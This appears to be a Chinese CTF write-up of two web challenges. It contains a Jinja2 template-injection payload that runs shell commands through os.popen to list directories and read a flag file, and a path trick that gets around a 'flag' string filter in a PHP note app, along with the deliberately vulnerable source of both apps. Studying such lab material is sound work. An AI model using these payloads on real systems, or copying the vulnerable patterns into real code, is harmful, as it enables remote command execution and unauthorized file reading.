Web Jungle Templating 初步发现本题是SSTI 模板注入漏洞,查看一下配置文件
证明猜测没错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from flask import * app = Flask(__name__) @app.route('/',methods=['GET', 'POST']) def base(): person = "" if request.method == 'POST': if request.form['name']: person = request.form['name'] palte = ''' <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Secure Search</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous"> </head> <body> <h1 class="container my-3">Hi, %s</h1> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script> <div class="container my-3"> <form action="/" method="post"> <div class="mb-3"> <label for="text" class="form-label">Type your name here:- </label> <input type="text" class="form-control" name="name" id="text" value=""> </div> <button type="submit" class="btn btn-primary">See magic</button> </form> </div> </body> </html>'''% person return render_template_string(palte) if __name__=="__main__": app.run("0.0.0.0",port=5000,debug=False)
通过源码可知,可控变量为name,传参的方法为post
直接payload
1 name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
查看一下根目录
根据经验来看,flag很有可能藏在var/www/html中
payload
1 name={{ config.__class__.__init__.__globals__['os'].popen('ls /var/www/html').read() }}
查看一下,flag真的在里面
直接payload
1 name={{ config.__class__.__init__.__globals__['os'].popen('cat /var/www/html/flag').read() }}
Awesome Note Keeping 进去之后发现是这个页面
查看一下源码
根据提示得到了一个较为全面的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <!DOCTYPE html> <html> <head> <title>Awesome Note Keeping</title> </head> <body style="padding: 100px; background: #000000; color: #09b576"> <h1>Welcome to Awesome Note Keeping</h1> <?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); if (isset($_POST["note"]) && isset($_POST["note_title"])) { if (empty($_POST["note"]) || empty($_POST["note_title"])) { echo "All fields are required."; } else if (strlen($_POST["note_title"]) >= 13) { echo "Note title is too long."; } else if (strlen($_POST["note"]) >= 40) { echo "Note is too long."; } else { $note_title = str_replace("flag", "", $_POST["note_title"]); if (!empty($note_title)) { if (file_exists($note_title . ".txt")) { echo "There is already a note with that title and the note is <br>"; $note_title = str_replace("flag", "", $note_title); $myNote = fopen($note_title . ".txt", "r"); echo fread($myNote, filesize($note_title . ".txt")); fclose($myNote); } else { $myNote = fopen($note_title . ".txt", "w"); fwrite($myNote, $_POST["note"]); fclose($myNote); echo "Your note has been saved."; } } else { echo "Sorry ! You can't create flag note."; } } } if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") { if (file_exists($_GET["note_title"] . ".txt")) { $myNote = fopen($_GET["note_title"] . ".txt", "r"); echo fread($myNote, filesize($_GET["note_title"] . ".txt")); fclose($myNote); } else { echo "Sorry ! Couldn't find any note with that title."; } } ?> <br> <h5>Create a Note</h5> <form action="" method="POST"> <table> <tr> <td><label>Note Title : </label></td> <td><input type="text" name="note_title" /></td> </tr> <tr> <td><label>Note : </label></td> <td><textarea name="note"></textarea></td> </tr> </table> <input type="submit" value="Save" /> </form> <h5>Read a Note</h5> <form action="" method="GET"> <table> <tr> <td><label>Note Title : </label></td> <td><input type="text" name="note_title" /></td> </tr> </table> <input type="submit" value="Read" /> </form> <!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out. --> </body> </html>
审计一下意思大概就是,可以在Creat a Note框内创建一个标题并且写入内容,保存之后可以在Read a Note框中通过查询Title查看已经保存的内容,但是无法创造和查询到flag标题
原因就是直接查询flag会被空格替换掉
1 $note_title = str_replace("flag", "", $_POST["note_title"]);
但是可以知道的是,flag已经被保存了
直接payload
1 http://206.189.236.145:9000/?note_title=./flag